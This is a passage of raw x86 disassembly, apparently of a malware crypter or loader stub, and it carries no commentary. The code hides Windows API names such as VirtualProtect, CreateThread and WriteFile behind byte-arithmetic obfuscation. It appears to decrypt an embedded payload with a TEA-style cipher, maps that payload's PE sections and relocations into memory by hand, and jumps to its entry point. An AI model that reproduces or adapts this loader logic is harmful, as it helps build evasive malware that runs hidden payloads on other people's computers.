[ebp-18h] mov eax, [ebp-0Ch] push dword ptr [eax] call sub_3E51C2 pop ecx pop ecx movzx eax, al test eax, eax jz short loc_3E52B9 push dword ptr [ebp-0Ch] pop eax push dword ptr [eax] pop eax and eax, 0FFFFh mov [ebp-20h], ax movzx eax, word ptr [ebp-20h] push eax push dword ptr [ebp-18h] call dword_3E3000 mov [ebp-10h], eax jmp short loc_3E52DC ; --------------------------------------------------------------------------- loc_3E52B9: ; CODE XREF: sub_3E51D6+BEj push dword ptr [ebp-0Ch] pop eax mov ecx, [ebp+0Ch] add ecx, [eax] mov [ebp-24h], ecx mov eax, [ebp-24h] inc eax inc eax push eax push dword ptr [ebp-1Ch] push dword ptr [ebp-18h] call sub_3E5151 add esp, 0Ch mov [ebp-10h], eax loc_3E52DC: ; CODE XREF: sub_3E51D6+E1j mov eax, [ebp-14h] push eax push dword ptr [ebp-10h] pop eax mov ecx, eax pop eax mov [eax], ecx mov eax, [ebp-14h] add eax, 4 mov [ebp-14h], eax mov eax, [ebp-0Ch] add eax, 4 mov [ebp-0Ch], eax jmp loc_3E5274 ; --------------------------------------------------------------------------- loc_3E5300: ; CODE XREF: sub_3E51D6+A4j mov eax, [ebp-4] add eax, 14h mov [ebp-4], eax jmp loc_3E520D ; --------------------------------------------------------------------------- locret_3E530E: ; CODE XREF: sub_3E51D6+3Fj leave retn sub_3E51D6 endp ; --------------------------------------------------------------------------- dd 835D5455h, 45C71CECh, 3779B9E4h, 0F445C79Eh, 20h, 580875FFh dd 895830FFh, 75FFF845h, 408B5808h, 0EC458904h, 0C1E4458Bh dd 458905E0h, 0F475FFE8h, 0F44D8B58h, 0F44D8949h, 860FC085h dd 86h, 0C1F8458Bh, 458904E0h, 0F875FFFCh, 5E8C158h, 8BF04589h dd 4D8B0C45h, 84803FCh, 3F8458Bh, 0C833E845h, 580C75FFh dd 5AF075FFh, 330C5003h, 0EC75FFCAh, 89C12B58h, 75FFEC45h dd 0E0C158ECh, 0FC458904h, 0C1EC458Bh, 458905E8h, 0C458BF0h dd 0FC75FF50h, 58C88B58h, 75FF0803h, 450358ECh, 8BC833E8h dd 75FF0C45h, 50035AF0h, 8BCA3304h, 0C12BF845h, 0FFF84589h dd 2B58E875h, 4589E445h, 0FF67E9E8h, 458BFFFFh, 0EC75FF08h dd 4488959h, 580875FFh, 89F84D8Bh db 8, 0C9h, 0C3h ; =============== S U B R O U T I N E ======================================= sub_3E53EF proc near ; CODE XREF: sub_3E5482+49p push ebp push esp pop ebp push ecx push ecx and dword ptr [ebp-8], 0 and dword ptr [ebp-4], 0 loc_3E53FC: ; CODE XREF: sub_3E53EF+43j push 0 lea eax, [ebp-8] push eax push dword ptr [ebp+10h] pop eax sub eax, [ebp-4] push eax push dword ptr [ebp+0Ch] pop eax add eax, [ebp-4] push eax push dword ptr [ebp+8] call dword_417EA4 test eax, eax jnz short loc_3E5423 xor al, al jmp short locret_3E5438 ; --------------------------------------------------------------------------- loc_3E5423: ; CODE XREF: sub_3E53EF+2Ej mov eax, [ebp-4] add eax, [ebp-8] mov [ebp-4], eax mov eax, [ebp-8] cmp eax, [ebp+10h] jnz short loc_3E53FC mov al, 0 add al, 1 locret_3E5438: ; CODE XREF: sub_3E53EF+32j leave retn sub_3E53EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E543A proc near ; CODE XREF: sub_3E5482+2Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 and [ebp+var_4], 0 loc_3E5447: ; CODE XREF: sub_3E543A+42j push 0 lea eax, [ebp+var_8] push eax push [ebp+arg_8] pop eax sub eax, [ebp+var_4] push eax mov eax, [ebp+arg_4] add eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417EA8 test eax, eax jnz short loc_3E546D xor al, al jmp short locret_3E5480 ; --------------------------------------------------------------------------- loc_3E546D: ; CODE XREF: sub_3E543A+2Dj mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnz short loc_3E5447 mov al, 1 locret_3E5480: ; CODE XREF: sub_3E543A+31j leave retn sub_3E543A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5482 proc near ; CODE XREF: sub_3E5546+D7p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_3E5495 ; --------------------------------------------------------------------------- loc_3E548C: ; CODE XREF: sub_3E5482+51j push [ebp+var_4] pop eax inc eax inc eax mov [ebp+var_4], eax loc_3E5495: ; CODE XREF: sub_3E5482+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnb short locret_3E54D5 push 8 push [ebp+var_4] pop eax mov ecx, [ebp+arg_4] lea eax, [ecx+eax*4] push eax mov eax, [ebp+arg_0] push dword ptr [eax+4] call sub_3E543A add esp, 0Ch push 8 mov eax, [ebp+var_4] push [ebp+arg_4] pop ecx lea eax, [ecx+eax*4] push eax push [ebp+arg_0] pop eax push dword ptr [eax] call sub_3E53EF add esp, 0Ch jmp short loc_3E548C ; --------------------------------------------------------------------------- locret_3E54D5: ; CODE XREF: sub_3E5482+19j leave retn sub_3E5482 endp ; --------------------------------------------------------------------------- db 55h dd 0EC835D54h, 8458B0Ch, 6AF44589h, 0F8458D08h, 0F4458B50h dd 0FCE830FFh, 83FFFFFEh, 0B60F0CC4h, 74C085C0h, 7E7E6827h dd 458D0041h, 5E850F8h, 59FFFFFEh, 8D086A59h, 0FF50F845h dd 0FF58F475h, 1BE80470h, 83FFFFFFh, 0BFEB0CC4h, 0C2C9C033h db 4, 0 ; =============== S U B R O U T I N E ======================================= sub_3E552A proc near ; CODE XREF: sub_3E5546+E3p ; sub_3E5546+EDp push ebp push esp pop ebp mov eax, [ebp+8] push dword ptr [eax] call dword_417E98 mov eax, [ebp+8] push dword ptr [eax+4] call dword_417E98 pop ebp retn sub_3E552A endp ; =============== S U B R O U T I N E ======================================= sub_3E5546 proc near ; CODE XREF: .data:003E56F8p push ebp push esp pop ebp sub esp, 48h call sub_3E5710 mov [ebp-4], eax push dword ptr [ebp-4] pop eax push dword ptr [eax+30h] pop eax mov [ebp-30h], eax mov eax, [ebp-30h] movzx eax, byte ptr [eax+2] test eax, eax jz short loc_3E556F jmp locret_3E56F3 ; --------------------------------------------------------------------------- loc_3E556F: ; CODE XREF: sub_3E5546+22j mov dword_417E7E, 65Bh add dword_417E7E, 70A9h mov dword_417E82, 0DBDh add dword_417E82, 2358h mov dword_417E86, 1791h call sub_3E5950 mov dword_417E8A, 1785h push 10h push 0 lea eax, [ebp-34h] push eax lea eax, [ebp-1Ch] push eax call dword_417EA0 test eax, eax jnz short loc_3E55CB jmp locret_3E56F3 ; --------------------------------------------------------------------------- loc_3E55CB: ; CODE XREF: sub_3E5546+7Ej push 10h push 0 lea eax, [ebp-18h] push eax lea eax, [ebp-38h] push eax call dword_417EA0 test eax, eax jnz short loc_3E55E6 jmp locret_3E56F3 ; --------------------------------------------------------------------------- loc_3E55E6: ; CODE XREF: sub_3E5546+99j lea eax, [ebp-8] push eax push 0 lea eax, [ebp-38h] push eax push offset byte_3E1437 push 0 push 0 call off_417E9C mov [ebp-3Ch], eax call dword_3E3010 mov [ebp-10h], eax mov eax, dword_3ECAD7 shr eax, 2 push eax push offset loc_3E4000 lea eax, [ebp-1Ch] push eax call sub_3E5482 add esp, 0Ch lea eax, [ebp-1Ch] push eax call sub_3E552A pop ecx lea eax, [ebp-38h] push eax call sub_3E552A pop ecx push dword ptr [ebp-3Ch] call dword_417E98 call dword_3E3010 mov [ebp-0Ch], eax lea eax, [ebp-2Ch] push eax call dword_3E300C movzx eax, word ptr [ebp-26h] cmp eax, 64h jle short loc_3E5663 jmp locret_3E56F3 ; --------------------------------------------------------------------------- loc_3E5663: ; CODE XREF: sub_3E5546+116j push offset loc_3E4000 call sub_3E50A0 pop ecx mov [ebp-14h], eax cmp dword ptr [ebp-14h], 0 jz short locret_3E56F3 push dword ptr [ebp-14h] pop eax mov eax, [eax+34h] mov [ebp-44h], eax push dword ptr [ebp-14h] pop eax push dword ptr [eax+54h] push dword ptr [ebp-44h] push offset loc_3E4000 call sub_3E50BE add esp, 0Ch push dword ptr [ebp-44h] push offset loc_3E4000 push dword ptr [ebp-14h] call sub_3E5720 add esp, 0Ch push dword ptr [ebp-44h] call sub_3E50A0 pop ecx mov [ebp-40h], eax cmp dword ptr [ebp-40h], 0 jz short locret_3E56F3 push dword ptr [ebp-44h] push dword ptr [ebp-40h] call sub_3E51D6 pop ecx pop ecx push dword ptr [ebp-44h] push dword ptr [ebp-40h] call sub_3E58BA pop ecx pop ecx push dword ptr [ebp-30h] pop eax push dword ptr [ebp-44h] pop ecx mov [eax+8], ecx push dword ptr [ebp-14h] pop eax push dword ptr [ebp-44h] pop ecx add ecx, [eax+28h] mov [ebp-48h], ecx call dword ptr [ebp-48h] locret_3E56F3: ; CODE XREF: sub_3E5546+24j ; sub_3E5546+80j ... leave retn sub_3E5546 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_3E5546 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 3 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5710 proc near ; CODE XREF: sub_3E5546+6p push ebp mov ebp, esp push large dword ptr fs:18h pop eax pop ebp retn sub_3E5710 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5720 proc near ; CODE XREF: sub_3E5546+15Dp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 28h mov eax, [ebp+arg_0] add eax, 0F8h mov [ebp+var_C], eax push [ebp+arg_0] pop eax mov ax, [eax+6] mov [ebp+var_8], ax push [ebp+var_C] pop eax mov [ebp+var_4], eax and [ebp+var_10], 0 jmp short loc_3E5757 ; --------------------------------------------------------------------------- loc_3E574B: ; CODE XREF: sub_3E5720+C9j mov ax, [ebp+var_10] add ax, 1 mov [ebp+var_10], ax loc_3E5757: ; CODE XREF: sub_3E5720+29j movzx eax, [ebp+var_10] movzx ecx, [ebp+var_8] cmp eax, ecx jge locret_3E57EE movzx eax, [ebp+var_10] imul eax, 28h push [ebp+var_4] pop ecx push dword ptr [eax+ecx+8] pop eax mov [ebp+var_24], eax movzx eax, [ebp+var_10] imul eax, 28h push [ebp+var_4] pop ecx push dword ptr [eax+ecx+10h] pop eax mov [ebp+var_14], eax push [ebp+var_24] pop eax cmp eax, [ebp+var_14] jnb short loc_3E579E mov eax, [ebp+var_24] mov [ebp+var_28], eax jmp short loc_3E57A4 ; --------------------------------------------------------------------------- loc_3E579E: ; CODE XREF: sub_3E5720+74j mov eax, [ebp+var_14] mov [ebp+var_28], eax loc_3E57A4: ; CODE XREF: sub_3E5720+7Cj mov eax, [ebp+var_28] mov [ebp+var_18], eax movzx eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+var_4] push [ebp+arg_8] pop edx add edx, [eax+ecx+0Ch] mov [ebp+var_1C], edx movzx eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+var_4] push eax push [ebp+arg_4] pop eax mov edx, eax pop eax add edx, [eax+ecx+14h] mov [ebp+var_20], edx push [ebp+var_18] push [ebp+var_20] push [ebp+var_1C] call sub_3E5EBA add esp, 0Ch jmp loc_3E574B ; --------------------------------------------------------------------------- locret_3E57EE: ; CODE XREF: sub_3E5720+41j leave retn sub_3E5720 endp ; =============== S U B R O U T I N E ======================================= sub_3E57F0 proc near ; CODE XREF: sub_3E58BA+7Dp push ebp push esp pop ebp push ecx and dword ptr [ebp-4], 0 mov eax, [ebp+8] and eax, 4000000h jz short loc_3E580D mov eax, [ebp-4] or eax, 200h mov [ebp-4], eax loc_3E580D: ; CODE XREF: sub_3E57F0+10j mov eax, [ebp+8] and eax, 20000000h jz short loc_3E5868 push dword ptr [ebp+8] pop eax and eax, 40000000h jz short loc_3E5844 push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_3E5838 mov eax, [ebp-4] or eax, 40h mov [ebp-4], eax jmp short loc_3E5842 ; --------------------------------------------------------------------------- loc_3E5838: ; CODE XREF: sub_3E57F0+3Bj push dword ptr [ebp-4] pop eax or eax, 20h mov [ebp-4], eax loc_3E5842: ; CODE XREF: sub_3E57F0+46j jmp short loc_3E5866 ; --------------------------------------------------------------------------- loc_3E5844: ; CODE XREF: sub_3E57F0+30j push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_3E585D push dword ptr [ebp-4] pop eax or eax, 80h mov [ebp-4], eax jmp short loc_3E5866 ; --------------------------------------------------------------------------- loc_3E585D: ; CODE XREF: sub_3E57F0+5Dj mov eax, [ebp-4] or eax, 10h mov [ebp-4], eax loc_3E5866: ; CODE XREF: sub_3E57F0:loc_3E5842j ; sub_3E57F0+6Bj jmp short loc_3E58B4 ; --------------------------------------------------------------------------- loc_3E5868: ; CODE XREF: sub_3E57F0+25j push dword ptr [ebp+8] pop eax and eax, 40000000h jz short loc_3E5894 mov eax, [ebp+8] and eax, 80000000h jz short loc_3E5889 push dword ptr [ebp-4] pop eax or eax, 4 mov [ebp-4], eax jmp short loc_3E5892 ; --------------------------------------------------------------------------- loc_3E5889: ; CODE XREF: sub_3E57F0+8Bj mov eax, [ebp-4] or eax, 2 mov [ebp-4], eax loc_3E5892: ; CODE XREF: sub_3E57F0+97j jmp short loc_3E58B4 ; --------------------------------------------------------------------------- loc_3E5894: ; CODE XREF: sub_3E57F0+81j push dword ptr [ebp+8] pop eax and eax, 80000000h jz short loc_3E58AA mov eax, [ebp-4] or eax, 8 mov [ebp-4], eax jmp short loc_3E58B4 ; --------------------------------------------------------------------------- loc_3E58AA: ; CODE XREF: sub_3E57F0+ADj push dword ptr [ebp-4] pop eax or eax, 1 mov [ebp-4], eax loc_3E58B4: ; CODE XREF: sub_3E57F0:loc_3E5866j ; sub_3E57F0:loc_3E5892j ... push dword ptr [ebp-4] pop eax leave retn sub_3E57F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E58BA proc near ; CODE XREF: sub_3E5546+18Ap var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = word ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 1Ch push [ebp+arg_0] pop eax add eax, 0F8h mov [ebp+var_C], eax push [ebp+arg_0] pop eax mov ax, [eax+6] mov [ebp+var_8], ax mov eax, [ebp+var_C] mov [ebp+var_4], eax and [ebp+var_10], 0 jmp short loc_3E58F1 ; --------------------------------------------------------------------------- loc_3E58E5: ; CODE XREF: sub_3E58BA+90j mov ax, [ebp+var_10] add ax, 1 mov [ebp+var_10], ax loc_3E58F1: ; CODE XREF: sub_3E58BA+29j movzx eax, [ebp+var_10] movzx ecx, [ebp+var_8] cmp eax, ecx jge short locret_3E594C movzx eax, [ebp+var_10] imul eax, 28h push [ebp+var_4] pop ecx push [ebp+arg_4] pop edx add edx, [eax+ecx+0Ch] mov [ebp+var_18], edx movzx eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+var_4] push dword ptr [eax+ecx+8] pop eax mov [ebp+var_1C], eax lea eax, [ebp+var_14] push eax movzx eax, [ebp+var_10] imul eax, 28h mov ecx, [ebp+var_4] push dword ptr [eax+ecx+24h] call sub_3E57F0 pop ecx push eax push [ebp+var_1C] push [ebp+var_18] call dword_417E90 jmp short loc_3E58E5 ; --------------------------------------------------------------------------- locret_3E594C: ; CODE XREF: sub_3E58BA+41j leave retn sub_3E58BA endp ; --------------------------------------------------------------------------- dw 0CCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5950 proc near ; CODE XREF: sub_3E5546+5Bp var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_67 = byte ptr -67h var_66 = byte ptr -66h var_65 = byte ptr -65h var_64 = byte ptr -64h var_63 = byte ptr -63h var_62 = byte ptr -62h var_61 = byte ptr -61h var_60 = byte ptr -60h var_5F = byte ptr -5Fh var_5E = byte ptr -5Eh var_5D = byte ptr -5Dh var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = byte ptr -5Ah var_58 = byte ptr -58h var_57 = byte ptr -57h var_56 = byte ptr -56h var_55 = byte ptr -55h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = byte ptr -44h var_43 = byte ptr -43h var_42 = byte ptr -42h var_41 = byte ptr -41h var_40 = byte ptr -40h var_3F = byte ptr -3Fh var_3E = byte ptr -3Eh var_3D = byte ptr -3Dh var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh var_3A = byte ptr -3Ah var_39 = byte ptr -39h var_38 = byte ptr -38h var_34 = byte ptr -34h var_33 = byte ptr -33h var_32 = byte ptr -32h var_31 = byte ptr -31h var_30 = byte ptr -30h var_2F = byte ptr -2Fh var_2E = byte ptr -2Eh var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = byte ptr -26h var_25 = byte ptr -25h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_12 = byte ptr -12h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp sub esp, 84h push offset dword_3E3070 call dword_3E3008 mov [ebp+var_10], eax mov [ebp+var_68], 4Ch add [ebp+var_68], 0Bh mov [ebp+var_67], 6Ah mov [ebp+var_66], 73h mov [ebp+var_65], 75h mov [ebp+var_64], 76h mov [ebp+var_63], 62h mov [ebp+var_62], 6Dh mov [ebp+var_61], 51h mov [ebp+var_60], 73h mov [ebp+var_5F], 70h mov [ebp+var_5E], 75h mov [ebp+var_5D], 52h add [ebp+var_5D], 14h mov [ebp+var_5C], 41h add [ebp+var_5C], 23h mov [ebp+var_5B], 75h mov [ebp+var_5A], 0 mov [ebp+var_48], 1Ch add [ebp+var_48], 2Ch mov [ebp+var_47], 63h add [ebp+var_47], 3 mov [ebp+var_46], 1 add [ebp+var_46], 74h mov [ebp+var_45], 4Eh mov [ebp+var_44], 5 add [ebp+var_44], 6Bh mov [ebp+var_43], 47h add [ebp+var_43], 1Eh mov [ebp+var_42], 5Ch add [ebp+var_42], 1Ah mov [ebp+var_41], 5Ch add [ebp+var_41], 11h mov [ebp+var_40], 66h mov [ebp+var_3F], 29h add [ebp+var_3F], 20h mov [ebp+var_3E], 62h mov [ebp+var_3D], 38h add [ebp+var_3D], 37h mov [ebp+var_3C], 65h mov [ebp+var_3B], 6Dh mov [ebp+var_3A], 66h mov [ebp+var_39], 42h mov [ebp+var_38], 0 mov [ebp+var_28], 44h mov [ebp+var_27], 5Bh add [ebp+var_27], 12h mov [ebp+var_26], 70h mov [ebp+var_25], 74h mov [ebp+var_24], 66h mov [ebp+var_23], 1Ah add [ebp+var_23], 2Fh mov [ebp+var_22], 62h mov [ebp+var_21], 67h add [ebp+var_21], 8 mov [ebp+var_20], 65h mov [ebp+var_1F], 6Dh mov [ebp+var_1E], 0Ah add [ebp+var_1E], 5Ch mov [ebp+var_1D], 0 mov [ebp+var_58], 44h mov [ebp+var_57], 61h add [ebp+var_57], 12h mov [ebp+var_56], 66h mov [ebp+var_55], 0 add [ebp+var_55], 62h mov [ebp+var_54], 30h add [ebp+var_54], 45h mov [ebp+var_53], 66h mov [ebp+var_52], 55h mov [ebp+var_51], 1Eh add [ebp+var_51], 4Bh mov [ebp+var_50], 16h add [ebp+var_50], 5Dh mov [ebp+var_4F], 58h add [ebp+var_4F], 0Eh mov [ebp+var_4E], 62h mov [ebp+var_4D], 65h mov [ebp+var_4C], 0 mov [ebp+var_1C], 0 add [ebp+var_1C], 44h mov [ebp+var_1B], 73h mov [ebp+var_1A], 0Eh add [ebp+var_1A], 58h mov [ebp+var_19], 62h mov [ebp+var_18], 64h add [ebp+var_18], 11h mov [ebp+var_17], 66h mov [ebp+var_16], 1Ah add [ebp+var_16], 37h mov [ebp+var_15], 51h add [ebp+var_15], 19h mov [ebp+var_14], 4Fh add [ebp+var_14], 22h mov [ebp+var_13], 66h mov [ebp+var_12], 0 mov [ebp+var_34], 53h mov [ebp+var_33], 66h mov [ebp+var_32], 5Dh add [ebp+var_32], 5 mov [ebp+var_31], 57h add [ebp+var_31], 0Eh mov [ebp+var_30], 6 add [ebp+var_30], 41h mov [ebp+var_2F], 67h add [ebp+var_2F], 3 mov [ebp+var_2E], 6Dh mov [ebp+var_2D], 66h mov [ebp+var_2C], 0 mov [ebp+var_C], 58h mov [ebp+var_B], 73h mov [ebp+var_A], 30h add [ebp+var_A], 3Ah mov [ebp+var_9], 38h add [ebp+var_9], 3Dh mov [ebp+var_8], 45h add [ebp+var_8], 21h mov [ebp+var_7], 26h add [ebp+var_7], 21h mov [ebp+var_6], 5Eh add [ebp+var_6], 0Ch mov [ebp+var_5], 6Bh add [ebp+var_5], 2 mov [ebp+var_4], 2 add [ebp+var_4], 64h mov [ebp+var_3], 0 lea eax, [ebp+var_68] mov [ebp+var_6C], eax loc_3E5B65: ; CODE XREF: sub_3E5950+235j push [ebp+var_6C] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5B87 push [ebp+var_6C] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_6C] mov [ecx], al push [ebp+var_6C] pop eax inc eax mov [ebp+var_6C], eax jmp short loc_3E5B65 ; --------------------------------------------------------------------------- loc_3E5B87: ; CODE XREF: sub_3E5950+21Ej lea eax, [ebp+var_48] mov [ebp+var_70], eax loc_3E5B8D: ; CODE XREF: sub_3E5950+25Cj mov eax, [ebp+var_70] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5BAE push [ebp+var_70] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_70] mov [ecx], al push [ebp+var_70] pop eax inc eax mov [ebp+var_70], eax jmp short loc_3E5B8D ; --------------------------------------------------------------------------- loc_3E5BAE: ; CODE XREF: sub_3E5950+245j lea eax, [ebp+var_28] mov [ebp+var_74], eax loc_3E5BB4: ; CODE XREF: sub_3E5950+288j push [ebp+var_74] pop eax movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5BDA push [ebp+var_74] pop eax movsx eax, byte ptr [eax] dec eax push eax push [ebp+var_74] pop eax mov ecx, eax pop eax mov [ecx], al mov eax, [ebp+var_74] inc eax mov [ebp+var_74], eax jmp short loc_3E5BB4 ; --------------------------------------------------------------------------- loc_3E5BDA: ; CODE XREF: sub_3E5950+26Dj lea eax, [ebp+var_58] mov [ebp+var_78], eax loc_3E5BE0: ; CODE XREF: sub_3E5950+2AFj mov eax, [ebp+var_78] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5C01 push [ebp+var_78] pop eax movsx eax, byte ptr [eax] dec eax push [ebp+var_78] pop ecx mov [ecx], al mov eax, [ebp+var_78] inc eax mov [ebp+var_78], eax jmp short loc_3E5BE0 ; --------------------------------------------------------------------------- loc_3E5C01: ; CODE XREF: sub_3E5950+298j lea eax, [ebp+var_1C] mov [ebp+var_7C], eax loc_3E5C07: ; CODE XREF: sub_3E5950+2DBj mov eax, [ebp+var_7C] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5C2D push [ebp+var_7C] pop eax movsx eax, byte ptr [eax] dec eax push eax push [ebp+var_7C] pop eax mov ecx, eax pop eax mov [ecx], al push [ebp+var_7C] pop eax inc eax mov [ebp+var_7C], eax jmp short loc_3E5C07 ; --------------------------------------------------------------------------- loc_3E5C2D: ; CODE XREF: sub_3E5950+2BFj lea eax, [ebp+var_34] mov [ebp+var_80], eax loc_3E5C33: ; CODE XREF: sub_3E5950+300j mov eax, [ebp+var_80] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5C52 mov eax, [ebp+var_80] movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_80] mov [ecx], al mov eax, [ebp+var_80] inc eax mov [ebp+var_80], eax jmp short loc_3E5C33 ; --------------------------------------------------------------------------- loc_3E5C52: ; CODE XREF: sub_3E5950+2EBj lea eax, [ebp+var_C] mov [ebp+var_84], eax loc_3E5C5B: ; CODE XREF: sub_3E5950+338j mov eax, [ebp+var_84] movsx eax, byte ptr [eax] test eax, eax jz short loc_3E5C8A push [ebp+var_84] pop eax movsx eax, byte ptr [eax] dec eax mov ecx, [ebp+var_84] mov [ecx], al mov eax, [ebp+var_84] inc eax mov [ebp+var_84], eax jmp short loc_3E5C5B ; --------------------------------------------------------------------------- loc_3E5C8A: ; CODE XREF: sub_3E5950+316j lea eax, [ebp+var_68] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E90, eax lea eax, [ebp+var_48] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E94, eax lea eax, [ebp+var_28] push eax push [ebp+var_10] call dword_3E3000 mov dword_417E98, eax lea eax, [ebp+var_58] push eax push [ebp+var_10] call dword_3E3000 mov off_417E9C, eax lea eax, [ebp+var_1C] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA0, eax lea eax, [ebp+var_34] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA4, eax lea eax, [ebp+var_C] push eax push [ebp+var_10] call dword_3E3000 mov dword_417EA8, eax leave retn sub_3E5950 endp ; --------------------------------------------------------------------------- dw 0CCCCh dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5D10 proc near ; CODE XREF: sub_3E5FAC+12p ; sub_3E5FAC+2Fp arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 41h jl short loc_3E5D27 cmp [ebp+arg_0], 5Ah jg short loc_3E5D27 mov eax, [ebp+arg_0] add eax, 20h jmp short loc_3E5D2A ; --------------------------------------------------------------------------- loc_3E5D27: ; CODE XREF: sub_3E5D10+7j ; sub_3E5D10+Dj mov eax, [ebp+arg_0] loc_3E5D2A: ; CODE XREF: sub_3E5D10+15j pop ebp retn sub_3E5D10 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 61h jl short loc_3E5D43 cmp dword ptr [ebp+8], 7Ah jg short loc_3E5D43 mov eax, [ebp+8] sub eax, 20h jmp short loc_3E5D46 ; --------------------------------------------------------------------------- loc_3E5D43: ; CODE XREF: .data:003E5D33j ; .data:003E5D39j mov eax, [ebp+8] loc_3E5D46: ; CODE XREF: .data:003E5D41j pop ebp retn ; --------------------------------------------------------------------------- dd 2 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp pop ebp retn ; --------------------------------------------------------------------------- dw 0CCCCh dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3E5D60 proc near ; CODE XREF: .data:003E5D8Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push [ebp+arg_0] push 0 call dword_3E3018 push eax call dword_3E3014 mov [ebp+var_4], eax push [ebp+var_4] pop eax leave retn sub_3E5D60 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push dword ptr [ebp+8] pop eax imul eax, [ebp+0Ch] push eax call sub_3E5D60 pop ecx pop ebp retn ; --------------------------------------------------------------------------- aUtG_0 db 'UT]ƒ}',8,0 dw 0B75h dd 0E80C75FFh, 0FFFFFFBCh, 0FF15EB59h, 75FF0C75h, 0FF006A08h dd 3E301815h, 15FF5000h, 3E301Ch db 5Dh, 0C3h ; --------------------------------------------------------------------------- push ebp mov ebp, esp cmp dword ptr [ebp+8], 0 jnz short loc_3E5DC9 jmp short loc_3E5DDB ; --------------------------------------------------------------------------- loc_3E5DC9: ; CODE XREF: .data:003E5DC5j push dword ptr [ebp+8] push 0 call dword_3E3018 push eax call dword_3E3020 loc_3E5DDB: ; CODE XREF: .data:003E5DC7j pop ebp retn ; --------------------------------------------------------------------------- db 55h, 54h, 5Dh dd 0E80875FFh, 0FFFFFF78h, 55C35D59h, 